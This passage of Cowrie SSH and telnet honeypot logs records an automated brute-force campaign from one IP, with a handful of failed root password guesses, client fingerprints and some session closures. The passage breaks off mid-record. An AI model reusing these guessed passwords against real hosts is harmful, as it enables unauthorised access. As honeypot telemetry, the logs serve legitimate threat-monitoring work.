{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:56:21.648010Z","src_ip":"60.165.124.241","session":"f9d635b81dff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwer1234#","message":"login attempt [root/Qwer1234#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:56:22.408231Z","src_ip":"60.165.124.241","session":"f9d635b81dff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:56:23.662158Z","src_ip":"60.165.124.241","session":"f9d635b81dff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":45466,"dst_ip":"10.17.0.5","dst_port":22,"session":"e2cf41eeb04a","protocol":"ssh","message":"New connection: 60.165.124.241:45466 (10.17.0.5:22) [session: e2cf41eeb04a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:56:23.930822Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:56:23.934376Z","src_ip":"60.165.124.241","session":"e2cf41eeb04a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:56:24.195291Z","src_ip":"60.165.124.241","session":"e2cf41eeb04a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ruibo2014!@#","message":"login attempt [root/Ruibo2014!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:56:26.521020Z","src_ip":"60.165.124.241","session":"e2cf41eeb04a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"88.184.114.23","src_port":1500,"dst_ip":"10.17.0.5","dst_port":23,"session":"f587d2af1e9e","protocol":"telnet","message":"New connection: 88.184.114.23:1500 (10.17.0.5:23) [session: f587d2af1e9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:56:28.862252Z"}
{"eventid":"cowrie.session.closed","duration":38.11069989204407,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:56:28.975439Z","src_ip":"94.252.135.107","session":"ef07a705c029","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"5.1","message":"Connection lost after 5.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:56:29.058670Z","src_ip":"60.165.124.241","session":"e2cf41eeb04a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":52004,"dst_ip":"10.17.0.5","dst_port":22,"session":"b2d1c328f0b5","protocol":"ssh","message":"New connection: 60.165.124.241:52004 (10.17.0.5:22) [session: b2d1c328f0b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:56:29.296325Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:56:29.300809Z","src_ip":"60.165.124.241","session":"b2d1c328f0b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:56:29.552536Z","src_ip":"60.165.124.241","session":"b2d1c328f0b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789Aa","message":"login attempt [root/123456789Aa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:56:30.338459Z","src_ip":"60.165.124.241","session":"b2d1c328f0b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:56:31.593453Z","src_ip":"60.165.124.241","session":"b2d1c328f0b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":55072,"dst_ip":"10.17.0.5","dst_port":22,"session":"afac1bd848b5","protocol":"ssh","message":"New connection: 60.165.124.241:55072 (10.17.0.5:22) [session: afac1bd848b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:56:31.845583Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:56:31.850630Z","src_ip":"60.165.124.241","session":"afac1bd848b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:56:32.097174Z","src_ip":"60.165.124.241","session":"afac1bd848b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"recalboxroot","message":"login attempt [root/recalboxroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:56:32.867175Z","src_ip":"60.165.124.241","session":"afac1bd848b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:56:34.119960Z","src_ip":"60.165.124.241","session":"afac1bd848b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":58112,"dst_ip":"10.17.0.5","dst_port":22,"session":"d7500c520b79","protocol":"ssh","message":"New connection: 60.165.124.241:58112 (10.17.0.5:22) [session: d7500c520b79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:56:34.342407Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:56:34.347037Z","src_ip":"60.165.124.241","session":"d7500c520b79","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:56:34.582706Z","src_ip":"60.165.124.241","session":"d7500c520b79","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123...","message":"login attempt [root/Aa123...] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:56:35.300183Z","src_ip":"60.165.124.241","session":"d7500c520b79","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:56:36.540014Z","src_ip":"60.165.124.241","session":"d7500c520b79","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":33180,"dst_ip":"10.17.0.5","dst_port":22,"session":"8a0cc46b5aba","protocol":"ssh","message":"New connection: 60.165.124.241:33180 (10.17.0.5:22) [session: 8a0cc46b5aba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:56:36.798084Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:56:36.803549Z","src_ip":"60.165.124.241","session":"8a0cc46b5aba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:56:37.053318Z","src_ip":"60.165.124.241","session":"8a0cc46b5aba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123!@#qweQWE","message":"login attempt [root/123!@#qweQWE] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:56:37.808018Z","src_ip":"60.165.124.241","session":"8a0cc46b5aba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:56:39.060394Z","src_ip":"60.165.124.241","session":"8a0cc46b5aba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":36686,"dst_ip":"10.17.0.5","dst_port":22,"session":"d2df42a786ec","protocol":"ssh","message":"New connection: 60.165.124.241:36686 (10.17.0.5:22) [session: d2df42a786ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:56:39.281563Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:56:39.286826Z","src_ip":"60.165.124.241","session":"d2df42a786ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:56:39.523795Z","src_ip":"60.165.124.241","session":"d2df42a786ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Sendinfo@123","message":"login attempt [root/Sendinfo@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:56:40.247830Z","src_ip":"60.165.124.241","session":"d2df42a786ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.476546049118042,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:56:41.338676Z","src_ip":"88.184.114.23","session":"f587d2af1e9e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:56:41.487730Z","src_ip":"60.165.124.241","session":"d2df42a786ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":39416,"dst_ip":"10.17.0.5","dst_port":22,"session":"0a6e3df44f0d","protocol":"ssh","message":"New connection: 60.165.124.241:39416 (10.17.0.5:22) [session: 0a6e3df44f0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:56:41.720551Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:56:41.725405Z","src_ip":"60.165.124.241","session":"0a6e3df44f0d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:56:41.962142Z","src_ip":"60.165.124.241","session":"0a6e3df44f0d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwe123...","message":"login attempt [root/Qwe123...] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:56:42.703196Z","src_ip":"60.165.124.241","session":"0a6e3df44f0d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:56:43.961199Z","src_ip":"60.165.124.241","session":"0a6e3df44f0d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":42336,"dst_ip":"10.17.0.5","dst_port":22,"session":"f0bcc2fba9cb","protocol":"ssh","message":"New connection: 60.165.124.241:42336 (10.17.0.5:22) [session: f0bcc2fba9cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:56:44.230742Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:56:44.235820Z","src_ip":"60.165.124.241","session":"f0bcc2fba9cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-